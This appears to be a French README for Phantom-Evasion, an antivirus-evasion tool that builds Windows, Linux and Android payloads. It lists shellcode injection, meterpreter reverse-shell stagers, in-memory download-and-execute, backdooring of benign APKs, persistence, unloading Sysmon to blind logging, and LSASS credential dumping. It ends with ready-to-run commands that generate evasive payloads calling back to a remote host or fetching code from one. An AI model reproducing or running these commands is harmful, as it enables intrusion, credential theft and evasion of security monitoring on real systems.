
Outil d'évasion antivirus en Python
Phantom-Evasion est un outil d'évasion antivirus écrit en Python (compatible avec Python 2 et Python 3) capable de générer un exécutable (presque) totalement indétectable même avec les payloads x86 msfvenom les plus courants.
Les systèmes d'exploitation suivants prennent officiellement en charge l'installation automatique :
Les systèmes d'exploitation suivants prennent probablement en charge l'installation automatique mais nécessitent l'installation manuelle de metasploit-framework :
Les systèmes d'exploitation suivants nécessitent une installation manuelle :
Il suffit de cloner avec git ou de télécharger et décompresser le dossier Phantom-Evasion.
Installation automatique, ouvrez un terminal et exécutez :
python3 phantom-evasion.py --setup
ou :
chmod +x ./phantom-evasion.py
./phantom-evasion.py --setup
ou lancez phantom-evasion en mode interactif et sélectionnez l'option 7.
python3 phantom-evasion.py
ou :
./phantom-evasion.py
python3 phantom-evasion.py --help
ou :
./phantom-evasion.py --help
-Chaque module C de payload Windows peut être compilé (prend en charge x86 et x64) en EXE ou DLL/ReflectiveDLL.
-Injection de code inutile randomisé (l'intensité, la fréquence et la probabilité de réinjection peuvent être définies) et techniques d'évasion antivirus Windows (la fréquence peut être définie).
-Chiffrement de shellcode/fichier par Xor/Vigenere multi-octets pris en charge dans les modules d'injection de shellcode et de Donwload Exec.
-La technique de désaccrochage d'API Ntdll et de masquage de processus PEB est prise en charge.
-Large gamme de modes d'exécution prise en charge (local et distant).
-Large gamme de modes d'allocation mémoire de payload (Virtual_RWX, Virtual_RW/RX, Virtual_RW/RWX, Heap_RWX).
-Le chargement dynamique des API Windows peut être défini.
-L'usurpation et la signature de certificat sont prises en charge.
-Exécutable strip (https://en.wikipedia.org/wiki/Strip_(Unix))
Les payloads Windows msfvenom et les shellcodes personnalisés sont pris en charge. Le shellcode peut être stocké en tant que ressource et récupéré au moment de l'exécution avec l'API FindResource.
Chiffrement de shellcode pris en charge :
1.none
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
La méthode d'exécution locale peut être l'une des suivantes :
Thread
APC
Le mode d'allocation mémoire locale peut être l'un des suivants :
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
La méthode d'exécution distante peut être l'une des suivantes :
ThreadExecutionHijack (abrégé TEH)
Processinject (abrégé PI)
APCSpray (abrégé APCS)
EarlyBird (abrégé EB)
EntryPointHijack (abrégé EPH)
Le mode d'allocation mémoire distante peut être l'un des suivants :
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Modules stager meterpreter pur C (TCP/HTTP/HTTPS) compatibles avec msfconsole et cobalt strike beacon. (reverse_tcp/reverse_http/reverse_https)
En utilisant le mode ligne de commande :
reverse_tcp c stager est WRT
reverse_http c stager est WRH
reverse_https c stager est WRS
La méthode d'exécution locale peut être l'une des suivantes :
Thread
APC
Le mode d'allocation mémoire locale peut être l'un des suivants :
Virtual_RWX
Virtual_RW/RX
Virtual_RW/RWX
Heap_RWX
Télécharge l'exe/dll depuis l'URL fournie en mémoire et l'exécute/charge dans un processus distant (sans écrire sur le disque).
Téléchargement chiffré EXE/DLL pris en charge :
1.none
2.Multibyte-Xor
3.Double-key Multibyte-Xor
4.Vigenere
5.Double-key Vigenere
La DLL/EXE chiffrée sera sauvegardée sous le nom originalfilename + "crypt" + ".dll" ou ".exe" ; c'est celle-ci qui doit être téléchargée.
Windows DownloadExecExe NoDiskWrite (WDE en mode ligne de commande) :
La méthode d'exécution distante peut être l'une des suivantes :
ProcessHollowing (abrégé PH)
Windows DownloadExecDll NoDiskWrite (WDD en mode ligne de commande) :
La méthode de chargement distant peut être l'une des suivantes :
ReflectiveDll (abrégé RD)
RDAPC (ReflectiveDllAPC)
ManualMap (abrégé MM) ---> uniquement x86
Les payloads Linux msfvenom et les shellcodes personnalisés sont pris en charge.
Backdoor Android Msfvenom Obfusquée :
Obfusque les payloads msfvenom et les reconstruit (smali/baksmali) avec apktool. Le payload obfusqué peut être utilisé pour backdoorer des fichiers apk bénins.
Persistance Windows RegCreateKeyExW Ajouter une clé de registre (C) L'exécutable compilé doit être téléchargé sur la machine cible et exécuté en spécifiant le chemin complet du fichier à ajouter au démarrage comme argument.
Persistance Windows REG Ajouter une clé de registre (CMD) Ce module génère des payloads de persistance en ligne de commande (ajout de clé de registre via REG.exe).
Persistance Windows Maintenir un processus actif (C) L'exécutable compilé doit être téléchargé sur la machine cible et exécuté. Utilise CreateToolSnapshoot ProcessFirst et ProcessNext pour vérifier si le processus spécifié est actif toutes les X secondes (dans le cas contraire, crée un nouveau processus avec l'API WinExec).
Persistance Windows Schtasks (CMD)
Ce module génère des payloads de persistance en ligne de commande (en utilisant Schtasks.exe).
Persistance Windows Créer un service (CMD)
Ce module génère des payloads de persistance en ligne de commande (en utilisant sc.exe).
Windows DuplicateTokenEx (C)
Crée un nouveau processus avec un jeton cloné à partir d'un autre processus. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows Décharger Sysmon (C) Décharge le pilote sysmon, ce qui entraîne l'arrêt de l'enregistrement des journaux d'événements sysmon par le système. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows Décharger Sysmon (CMD) Décharge le pilote sysmon, ce qui entraîne l'arrêt de l'enregistrement des journaux d'événements sysmon par le système.
Windows Attrib masquer fichier (CMD) Utilise attrib pour masquer le fichier.
Windows SetFileAttribute hidden (C) Masque un fichier en utilisant l'API SetFileAttribute. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows DumpLsass (C) Effectue un dump de Lsass en utilisant l'API MiniWriteDumpWrite. L'exécutable compilé doit être téléchargé sur la machine cible et exécuté.
Windows DumpLsass (CMD) Effectue un dump de Lsass depuis la ligne de commande.
python3 phantom-evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.1.123 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -c www.windows.com:443 -f exe -o filename.exe
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp SkypeApp.exe -i PI -e 3 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -R -o filename.dll
python3 phantom-evasion.py -m WSI -msfp windows/x64/meterpreter/reverse_tcp -a x64 -H 192.168.1.123 -P 4444 -tp svchost.exe -i EB -e 2 -mem Virtual_RW/RX -j 1 -J 15 -jr 0 -E 5 -f dll -res -S -o filename.dll
python3 phantom-evasion.py -m WRS -a x64 -H 192.168.1.123 -P 4444 -i Thread -mem Heap_RWX -j 1 -J 15 -jr 0 -E 5 -f dll -S -o filename.dll
python3 phantom-evasion.py -m WDD -U http://192.168.1.123/payload.dll -i MM -tp OneDrive.exe -ds 1000000 -j 10 -J 10 -jr 0 -E 10 -f exe -S -o filename.exe
python3 phantom-evasion.py -m WDE -U http://192.168.1.123/payloadcrypt.exe -e 4 -ef payload.exe -i PH -tp svchost.exe -ds 1000000 -j 1 -J 5 -jr 0 -E 3 -f dll -R -S -o filename.dll
GPLv3.0
https://github.com/stephenfewer/ReflectiveDLLInjection
https://github.com/rsmudge/metasploit-loader
https://github.com/theevilbit/injection
http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/
https://wikileaks.org/ciav7p1/cms/files/BypassAVDynamics.pdf